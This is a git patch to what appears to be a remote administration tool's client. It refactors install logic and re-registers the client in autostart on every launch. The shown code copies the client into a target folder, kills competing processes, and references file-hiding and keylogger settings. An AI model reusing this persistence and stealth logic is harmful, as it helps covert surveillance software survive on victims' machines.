From 36ac738e4398a50720f8a8991995d3eec49c2a7f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 26 May 2015 18:28:15 +0200 Subject: [PATCH] Minor Uninstall fix - Add to Autostart again when already installed #205 --- Client/Core/SystemCore.cs | 83 +++++++++++++++++++++------------------ Client/Program.cs | 5 +++ 2 files changed, 49 insertions(+), 39 deletions(-) diff --git a/Client/Core/SystemCore.cs b/Client/Core/SystemCore.cs index 993ad21c..b017708a 100644 --- a/Client/Core/SystemCore.cs +++ b/Client/Core/SystemCore.cs @@ -61,7 +61,7 @@ private struct LASTINPUTINFO "ws.png", "ye.png", "yt.png", "za.png", "zm.png", "zw.png" }; - public static bool Disconnect = false; + public static bool Disconnect = false; // when Disconnect is true, stop all running threads public static string OperatingSystem = string.Empty; public static string MyPath = string.Empty; public static string InstallPath = string.Empty; @@ -404,45 +404,8 @@ private static bool IsUserIdle() return (idleTime > 600); // idle for 10 minutes } - public static void Install() + public static void AddToStartup() { - bool isKilled = false; - - // create target dir - if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER))) - Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER)); - - // delete existing file - if (File.Exists(InstallPath)) - { - try - { - File.Delete(InstallPath); - } - catch (Exception ex) - { - if (ex is IOException || ex is UnauthorizedAccessException) - { - // kill old process if new mutex - Process[] foundProcesses = - Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath)); - int myPid = Process.GetCurrentProcess().Id; - foreach (var prc in foundProcesses) - { - if (prc.Id == myPid) continue; - prc.Kill(); - isKilled = true; - } - } - } - } - - if (isKilled) Thread.Sleep(5000); - - //copy client to target dir - File.Copy(MyPath, InstallPath, true); - - //add to startup if (Settings.STARTUP) { if (AccountType == "Admin") @@ -497,6 +460,48 @@ public static void Install() } } } + } + + public static void Install(bool addToStartup = true) + { + bool isKilled = false; + + // create target dir + if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER))) + Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER)); + + // delete existing file + if (File.Exists(InstallPath)) + { + try + { + File.Delete(InstallPath); + } + catch (Exception ex) + { + if (ex is IOException || ex is UnauthorizedAccessException) + { + // kill old process if new mutex + Process[] foundProcesses = + Process.GetProcessesByName(Path.GetFileNameWithoutExtension(InstallPath)); + int myPid = Process.GetCurrentProcess().Id; + foreach (var prc in foundProcesses) + { + if (prc.Id == myPid) continue; + prc.Kill(); + isKilled = true; + } + } + } + } + + if (isKilled) Thread.Sleep(5000); + + //copy client to target dir + File.Copy(MyPath, InstallPath, true); + + if (addToStartup) + AddToStartup(); if (Settings.HIDEFILE) { diff --git a/Client/Program.cs b/Client/Program.cs index 9b501d1b..9d32eec9 100644 --- a/Client/Program.cs +++ b/Client/Program.cs @@ -133,6 +133,11 @@ private static void Initialize() new Thread(SystemCore.UserIdleThread).Start(); + if (Settings.STARTUP) + { + SystemCore.AddToStartup(); + } + InitializeClient(); if (Settings.ENABLELOGGER)